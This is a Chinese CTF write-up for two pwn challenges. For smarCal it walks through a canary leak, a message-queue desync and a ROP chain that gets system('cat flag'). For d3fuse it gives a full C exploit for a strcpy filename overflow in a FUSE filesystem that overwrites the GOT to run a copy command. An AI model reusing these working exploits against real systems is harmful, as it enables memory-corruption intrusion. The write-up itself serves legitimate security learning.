smarCal

逻辑解读:

main

  • Input solver_id>
  • Input expression
  • Input result
  • send_message ->solver_id->expression->result
  • loop

fork

  • get_ID_message
  • get_expression_message
  • get_result_message
  • calculate func

源码分析

首先,三个input方式是完全相同的:但必须注意的是,它们均要求输入的内容是可打印字符,只有solver_id没有这个检查。

    *&solver_id_len[1] = read(0, solver_id, 0x2010uLL);
    expression_len = read(0, expression, 0x1F00uLL);
    result_len = read(0, result, 0x1F00uLL);

而发送消息的函数为sub_70DA:

          sub_70DA(dword_C1B0, solver_id, solver_id_len[1]);
          sub_70DA(dword_C1B0, expression, expression_len);
          sub_70DA(dword_C1B0, result, result_len);

发送函数如下:

void __fastcall sub_70DA(int a1, const void *a2, int a3)
{
  _QWORD *mess_head; // [rsp+18h] [rbp-18h]
  _QWORD *mess_body; // [rsp+20h] [rbp-10h]
  //分配空间与初始化
  mess_head = malloc(0x10uLL);
  mess_body = malloc(a3 + 26LL);
  memset(mess_head, 0, 0x10uLL);
  memset(mess_body, 0, a3 + 26LL);
  //mess_head
  mess_head[1] = a3;
  *mess_head = 1LL;
  msgsnd(a1, mess_head, 8uLL, 0);
  //mess_body
  *mess_body = 2LL;
  memcpy(mess_body + 2, a2, a3);
  msgsnd(a1, mess_body, a3 + 8LL, 0);
  //释放空间
  free(mess_head);
  free(mess_body);
}

流程虽然很清晰,但必须注意到这是在进行进程间通信,其中README中提到:

sudo sysctl -w kernel.msgmax=8192

这意味着报文长度的限制,对于超出报文的情况会导致入队失败。
这一点在之后的利用中会很重要且难以察觉,因此笔者提前注出。

笔者猜测的结构体如下:

struct mess_head{
    int64 type=1;
    int64 mess_len;
}
struct mess_head{
    int64 type=2;
    int64 mess_len;
    char mess_context[mess_len];
    char pedding[0xA];
}

接下来需要分析fork子进程的流程,首先是接收消息的函数:

__int64 __fastcall get_message_con(int a1)
{
  int i; // [rsp+1Ch] [rbp-44h]
  void *dest; // [rsp+20h] [rbp-40h] BYREF
  __int64 v4; // [rsp+28h] [rbp-38h] BYREF
  msgbuf *msgp; // [rsp+30h] [rbp-30h]
  void *s; // [rsp+38h] [rbp-28h]
  __int64 v7[4]; // [rsp+40h] [rbp-20h] BYREF

  s = malloc(0x20uLL);
  msgp = 0LL;
  for ( i = -1; i == -1; i = msgrcv(a1, msgp, *(s + 1) + 8LL, 2LL, 0) )
  {
    memset(s, 0, 0x20uLL);
    msgrcv(a1, s, 8uLL, 1LL, 0);
    msgp = malloc(*(s + 1) + 32LL);
    memset(msgp, 0, *(s + 1) + 32LL);
  }
  dest = malloc(*(s + 1));
  v4 = *(s + 1);
  memset(dest, 0, *(s + 1));
  memcpy(dest, &msgp[1], *(s + 1));
  free(s);
  free(msgp);
  sub_73C2(v7, &dest, &v4);
  return v7[0];
}

阅读起来不太容易,感觉似乎多了些毫无意义的翻译,简而言之就是返回一个指向mess_context内容的chunk。
然后就能阅读完整的子进程主函数了:

void __fastcall __noreturn sub_68AE(unsigned int a1)
{
  __int64 v1; // rdx
  __int64 v2; // rdx
  __int64 v3; // rdx
  char *ID; // [rsp+10h] [rbp-60h] BYREF
  __int64 v5; // [rsp+18h] [rbp-58h]
  void *expression; // [rsp+20h] [rbp-50h] BYREF
  __int64 v7; // [rsp+28h] [rbp-48h]
  void *result; // [rsp+30h] [rbp-40h] BYREF
  __int64 v9; // [rsp+38h] [rbp-38h]
  __int64 message_con; // [rsp+40h] [rbp-30h] BYREF
  __int64 v11; // [rsp+48h] [rbp-28h]
  unsigned __int64 v12; // [rsp+58h] [rbp-18h]

  while ( 1 )
  {
    ID = 0LL;
    v5 = 0LL;
    expression = 0LL;
    v7 = 0LL;
    result = 0LL;
    v9 = 0LL;
    message_con = get_message_con(a1);
    v11 = v1;
    change_pos(&ID, &message_con);
    if ( !strncmp(ID, "3x1t", 4uLL) )
      break;
    message_con = get_message_con(a1);
    v11 = v2;
    change_pos(&expression, &message_con);
    message_con = get_message_con(a1);
    v11 = v3;
    change_pos(&result, &message_con);
    sub_6493(ID, v5, result, v9, expression, v7);
    free(ID);
    free(expression);
    free(result);
  }
  sub_708D(a1);
  exit(0);
}

关键计算发生在sub_6493,但这个函数比较庞大,笔者只截取关键部分(C++反编译出来的代码真的好多啊)。

  char expression[280]; // [rsp+130h] [rbp-2120h] BYREF
  char result[264]; // [rsp+2130h] [rbp-120h] BYREF
  memcpy(result, input_result, a5);
  memcpy(expression, input_expression, a7);
  write(1, result, a5 + 64);

反汇编代码没有很好的体现出变量a5是result的长度,笔者也没有从汇编细究,但从函数逻辑的角度来说,这么想是一种直觉,它意味着我们会打印除result外更多的数据,这能让我们泄露canary。
再回顾主函数发送消息时,获取result的代码:

    result_len = read(0, result, 0x1F00uLL);

注意到result的长度,我们可以读入足够多数据使其泄露。

Attack Test

尝试泄露数据:

sla("solver_id",b"1")
sla("expression",b"1")
#用足够长的result去填充数组,使得write函数泄露额外数据
PAYLOAD_SZ=0x2238-0x2130
sla("result",b"1"*(PAYLOAD_SZ-1)) # pedding+'\x0a'#
p.recvuntil(b'result is:')
p.recv(2)
p.recv(PAYLOAD_SZ)
canary=p.recv(8)#leak canary
p.recv(8*3)
leak1=u64(p.recv(8))#leak addr
elf_base=leak1-0x55f4136819c5+0x000055f41367d000-0x2000#
csu=elf_base+0x7470#csu gadget

接下来构造ROP链:

g=p64(0)*3+p64(elf_base+0x748a)+p64(0)+p64(1)+p64(1)+p64(read_got)+p64(8)+p64(write_got)
#write(1,read_got,8)
g+=p64(csu)+p64(0)+p64(0)+p64(1)+p64(0)+p64(elf_base+0xC1A0)+p64(24)+p64(read_got)
#read(0, malloc_got,8)
g+=p64(csu)+p64(0)+p64(0)+p64(1)+p64(elf_base+0xC1A0+8)+p64(0)+p64(0)+p64(elf_base+0xC1A0)
g+=p64(prdi_ret+1)+p64(prdi_ret)+p64(elf_base+0xC1A0+8)+p64(elf_base+0x7479)
#read(0,bss,size)

在构造完成以后,我们就需要期望将ROP写进返回地址以期望事情顺利发展。
但我们知道,能够用以溢出的result或者expression被要求输入必须是可打印的,因此这里就需要通过报文长度限制来抢占,使得输入ID这个不被检查的过程中导入了result或者expression。
常规发送情况如下:

  • ID 1->expression 1->result 1->ID 2

而接收顺序如下:

  • ID 1->expression 1->result 1->ID 2

接下来我们通过输入长ID来使得报文无法入队,使得接收报文的实际内容变为:

  • expression 1->result 1 -> ID 2

这样,第二次发送的ID 2就会被当作result,并且还不会经过可打印检查。

所以exp接下来这样做:

sa("solver_id",b"a"*8200)#长报文,不被接收
sa("expression",b"a") #短报文,会被当作ID接收
sa("result",b"1+1") #短报文,被当作expression接收

sa("solver_id",b"a"*PAYLOAD_SZ+canary+rop)#短报文,被当作result接收,但在发送端会认为发送的是ID
sa("expression",b"1") #ID 
sa("result",b"2+1")#expression

最后就只需要顺应rop结束即可:

 #rop中构造了读取函数,会将malloc_got改为system,最后执行对应代码读出flag
 p.send(p64(leak-libc.sym['read']+libc.sym['system'])+b'cat flag'.ljust(16,b'\x00'))
 p.interactive()

d3fuse

题目是一个fuse文件系统,这里不对其做过多的赘述,一言蔽之就是:

一个能够让用户自定义操作的,用户态的文件系统。

阅读脚本可以知道,/chroot/mnt目录被该文件系统接管,所有在该目录下的操作会由d3fuse进行变换。
以及,flag是根目录下,但程序一开始会用chroot将当前根目录切换到chroot,无法直接向上层访问。

保护检查

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序分析

首先根据查阅的资料恢复符号,可以看到该程序接管了如下命令:(部分未标记)

0000000000404CC0 off_404CC0      dq offset getattr       ; DATA XREF: main+49↑o
.data.rel.ro:0000000000404CD8                 dq offset mkdir
.data.rel.ro:0000000000404CE0                 dq offset unlink
.data.rel.ro:0000000000404CE8                 dq offset rmdir
.data.rel.ro:0000000000404CF8                 dq offset rename
.data.rel.ro:0000000000404D18                 dq offset truncate
.data.rel.ro:0000000000404D20                 dq offset open
.data.rel.ro:0000000000404D28                 dq offset read
.data.rel.ro:0000000000404D30                 dq offset write
.data.rel.ro:0000000000404D40                 dq offset sub_401ABA
.data.rel.ro:0000000000404D48                 dq offset sub_4016E5
.data.rel.ro:0000000000404D78                 dq offset opendir
.data.rel.ro:0000000000404D80                 dq offset readdir
.data.rel.ro:0000000000404D88                 dq offset sub_4017BE
.data.rel.ro:0000000000404D98                 dq offset init_
.data.rel.ro:0000000000404DA0                 dq offset sub_401918
.data.rel.ro:0000000000404DA8                 dq offset sub_401927
.data.rel.ro:0000000000404DB0                 dq offset create
.data.rel.ro:0000000000404E08 _data_rel_ro    ends

首先从创建文件的部分开始看,注意到其调用sub_401D74函数,其中有一行漏洞代码:

 v12 = strdup(a2);
 s2 = __xpg_basename(v12);
 strcpy(&v15->ptr[48 * v8], s2);

strcpy是不限定长度的拷贝,而s2是文件名,而文件名一般能无限长,因此可以构成一个溢出。
然后根据代码反推文件的结构体:

struct fusefile
{
    char name[32];
    int file_type;
    unsigned int subsize;
    char *ptr;
};
//sizeof(fusefile)=48

那么名字就能够向下溢出了。

那么顺着创建文件的路,从open开始:

__int64 __fastcall open(__int64 a1, __int64 fd)
{
  int v3; // [rsp+14h] [rbp-Ch]
  fusefile *v4; // [rsp+18h] [rbp-8h]

  v4 = find_file(&byte_4050C0, a1);
  if ( !v4 )
    return 4294967294LL;
  if ( (v4->file_type & 1) != 0 )
    return 4294967275LL;
  if ( (*fd & 0x200) != 0 )
  {
    v3 = sub_401C4E(v4, 0LL);
    if ( v3 < 0 )
      return v3;
  }
  *(fd + 16) = v4;
  return 0LL;
}

其会寻找该文件并返回其描述符。

然后是read函数:

size_t __fastcall read(__int64 a1, void *a2, size_t a3, __int64 a4, __int64 a5)
{
  __int64 offset; // [rsp+10h] [rbp-30h]
  size_t n; // [rsp+18h] [rbp-28h]
  fusefile *v8; // [rsp+38h] [rbp-8h]

  n = a3;
  offset = a4;
  v8 = *(a5 + 16);
  if ( a4 > v8->subsize )
    offset = v8->subsize;
  if ( a3 + offset > v8->subsize )
    n = v8->subsize - offset;
  memcpy(a2, &v8->ptr[offset], n);
  return n;
}

会从描述符的ptr处复制数据到指针。

然后是write:

size_t __fastcall write(__int64 a1, const void *a2, size_t a3, __int64 a4, __int64 a5)
{
  __int64 offset; // [rsp+10h] [rbp-40h]
  unsigned int size; // [rsp+3Ch] [rbp-14h]
  fusefile *size_4; // [rsp+40h] [rbp-10h]
  char *v10; // [rsp+48h] [rbp-8h]

  offset = a4;
  size_4 = *(a5 + 16);
  if ( a4 > size_4->subsize )
    offset = size_4->subsize;
  size = offset + a3;
  if ( (offset + a3) > size_4->subsize )
  {
    v10 = realloc(size_4->ptr, size);
    if ( !v10 )
      return 4294967284LL;
    size_4->ptr = v10;
    size_4->subsize = size;
  }
  memcpy(&size_4->ptr[offset], a2, a3);
  return a3;
}

将数据复制到ptr指向的内容处。

Attack Test

利用思路:

  • 通过文件名溢出ptr为got表
  • 读取ptr泄露got内容,得到libc_base
  • 写got表为system
  • 令system执行“cp /flag /chroot/flag”

笔者最开始还在好奇,为什么chroot之后,system还能用根目录下的cp来拷贝flag,原因出自sh脚本:

runuser -u ctf /d3fuse /chroot/mnt && \
chroot --userspec=1000:1000 /chroot /bin/timeout -k 5 300 /bin/sh

最开始没注意到f3fuse是运行在外部,之后再chroot的,所以该文件是能正常访问外部目录的。

//musl-gcc -static -o exp exp.c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
int main(){
/*
{
 .name = 'A'*32;
 .isdir = 0x10101010;
 .length = 0x1101010;
 .context = 0x405070;
*/
    char* fpath = "/mnt/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x10\x10\x10\x10\x10\x10\x01pP@\x00";
    char* cmd = "/usr/bin/cp /flag /chroot/rwdir/flag";
    int fd, r;
    // call realloc
    char garbage[0x1000];
    memset(garbage, 0x1000, 'A');
    fd = open("/mnt/garbage", O_CREAT |O_WRONLY| O_DIRECT);
    write(fd, garbage, 0x1000);
    close(fd);
    fd = open("/mnt/cmd", O_CREAT |O_WRONLY| O_DIRECT);
    write(fd, cmd, strlen(cmd));
    close(fd);
    // trigger strcpy vuln
    fd = open(fpath, O_CREAT|O_WRONLY| O_DIRECT);
    if(fd < 0)
        perror("open");
    close(fd);
    // leak realloc address
    fd = open("/mnt/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", O_RDWR | O_DIRECT);
    unsigned long libc_addr = 0;
    r = read(fd, &libc_addr, 8);
    if(r < 0)
        perror("read");
    printf("read: fd=%d, r=%d, libc=%lx\n", fd, r, libc_addr);
    // calculate system address
    libc_addr += -0x48bf0;
    // overwrite realloc GOT address to system
    lseek(fd, 0, 0);
    r = write(fd, &libc_addr, 8);
    if(r < 0)
        perror("write");
    printf("write: fd=%d, r=%d, libc=%lx\n", fd, r, libc_addr);
    // call system(cmd)
    fd = open("/mnt/cmd", O_WRONLY| O_DIRECT);
    write(fd, garbage, 0x1000);
    close(fd);
}

注:
pwn的其他题也看了一下,kheap和内核slub分配器看着难度还行,但我目前还没学到那,之后完成了会另外再复现一下试试的。
bpf的wp看了好几篇,但对于我这样最开始就没接触bpf的菜鸡来说好像还是有些晦涩,尤其是那个超长的exp,看着有点头皮发麻,希望之后有时间的话把这个东西从头再做一遍,ebf这个东西对我这个希望未来能研究内核的新手来说相当有吸引力。
希望接下来也能继续精进吧。


插画ID:71759763


"The unexamined life is not worth living."